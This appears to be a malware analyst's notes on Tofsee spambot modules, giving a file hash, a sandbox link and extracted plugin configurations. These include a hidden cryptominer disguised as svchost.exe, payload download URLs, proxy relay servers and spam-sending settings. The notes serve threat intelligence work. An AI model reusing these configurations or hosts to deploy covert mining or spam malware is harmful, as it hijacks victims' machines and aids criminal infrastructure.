2019-06-14-tofsee-spambot-modules.notes.vk.txt

MD5: 2654ff60cc92922a5f53131b424fdbb7
https://app.any.run/tasks/34418b68-3eff-4b8f-a438-a95751a614c9/
h/t @malware_traffic
"proxyR.dll" | "plg_miner.dll" | "blist.dll" | "smtp.dll" | "plg_sys.dll" | "text.dll" 

Configs:

I. "plg_miner.dll"

'miner_cfg': {
  'cores_gt_1.ifs': 'COND_CORES_GT_1',
  'cores_gt_1.path': 'svchost.exe',
  'cores_gt_1.size_min': '200000',
  'cores_gt_1.size_max': '4000000',
  'cores_gt_1.run': '$xmrcpu',
  'cores_gt_1.args': '-a cryptonight-heavy --variant tube -o stratum+tcp://185.181.165.20:8087 -u 1 -p x --nicehash --safe',
  'cores_gt_1.flags': 'NORMAL_PRIORITY_CLASS CREATE_NO_WINDOW'
  'cores_gt_1.size': '223744',
  'cores_gt_1.url': 'http://130.185.108.137/pchfv.php',
  'cores_gt_1.next_success': '',
  'cores_gt_1.next_error': '',
  'cores_gt_1.next_conditions': '',
  'download_period': '100',
  'grabb.download_id': '9',
  'grabb.flags': 'NORMAL_PRIORITY_CLASS CREATE_NO_WINDOW',
  'grabb.ifs': '',
  'grabb.run': '$grabb',
  'grabb.size_max': '350000',
  'grabb.size_min': '200000',
  'grabb.next_success': '',
  'grabb.next_error': '',
  'grabb.next_conditions': '',
  'litecoin.download_id': '9',
  'litecoin.flags': 'NORMAL_PRIORITY_CLASS CREATE_NO_WINDOW',
  'litecoin.ifs': '',
  'litecoin.path': '%USERPROFILE%\\%RND_char[4-6].exe',
  'litecoin.run': '',
  'litecoin.size_max': '350000',
  'litecoin.size_min': '200000',
  'litecoin.urls': 'http://103.15.106.221/rnm226.php;http://188.190.114.21/rnm226.php;http://111.121.193.238/rnm238.php',
  'needmacrs': '$grabb',
  'one_core.flags': 'BELOW_NORMAL_PRIORITY_CLASS CREATE_NO_WINDOW',
  'one_core.ifs': '',
  'one_core.path': '%USERPROFILE%\\do.exe',
  'one_core.run': '"%USERPROFILE%\\do.exe" %MINER_LOGIN2 -g yes -t 1 -w 300',
  'one_core.size': '223744',
  'one_core.url': 'http://130.185.108.137/pchfv.php',
  'version': '12'
},

II. "proxyR.dll"

'proxy_cfg': {
  'version' :'8',
  'client.timeout_connect': '30',
  'client.timeout_read': '60',
  'client.timeout_write': '60',
  'server.sleep_connect': '30',
  'server.timeout_connect': '30',
  'server.timeout_read': '60',
  'server.timeout_write': '60',
  'target.timeout_connect': '30',
  'target.timeout_read': '60',
  'target.timeout_write': '60',
  'ALL.max_threads': '32',
  'ALL.min_threads': '1',
  'ALL.num_services': '5',
  'ALL.percent_of_online': '100',
  'ALL.release_unused_thr_after': '60',
  'ALL.service00': '144.76.199.43:416/16',
  'ALL.service01': '144.76.199.2:416/16',
  'ALL.service02': '85.25.119.25:416/16',
  'ALL.service03': '176.111.49.43:416/16',
  'ALL.service04': '46.4.52.109:416/16',
},

III. "blist.dll"

'blist_cfg': {
  'period': '900',
  'services': '1:dnsbl.sorbs.net;2:bl.spamcop.net;4:zen.spamhaus.org;8:sbl-xbl.spamhaus.org;16:cbl.abuseat.org'
},

IV. "smtp.dll"

'psmtp_cfg': {
  'dns_attempts': '5',
  'dns_list': '209.244.0.3;209.244.0.4;8.8.8.8;8.8.4.4;8.26.56.26;8.20.247.20;208.67.222.222;208.67.220.220;156.154.70.1;156.154.71.1;199.85.126.10;199.85.127.10;81.218.119.11;209.88.198.133;195.46.39.39;195.46.39.40;216.87.84.211;23.90.4.6;199.5.157.131;208.71.35.137;208.76.50.50;208.76.51.51;216.146.35.35;216.146.36.36;37.235.1.174;37.235.1.177;89.233.43.71;89.104.194.142;84.200.69.80;84.200.70.40;74.82.42.42;109.69.8.51',
  'dns_timeout': '10',
  'nthreads': '17',
  'send_timeouts': '60',
  'smtp_server_hotmail': 'smtp.live.com:587',
  'timeout_connect': '30',
  'timeout_read': '30',
  'timeout_write': '30',
  'whois_list': '193.0.6.135;185.3.93.80'
},

V. "plg_sys.dll"

'sys_cfg': {
  'fire_exe.buf_size': '307200',
  'fire_exe.reload_after': '3600',
  'fire_exe.reload_impuls': '0',
  'names.mode': '1',
  'version': '1'
}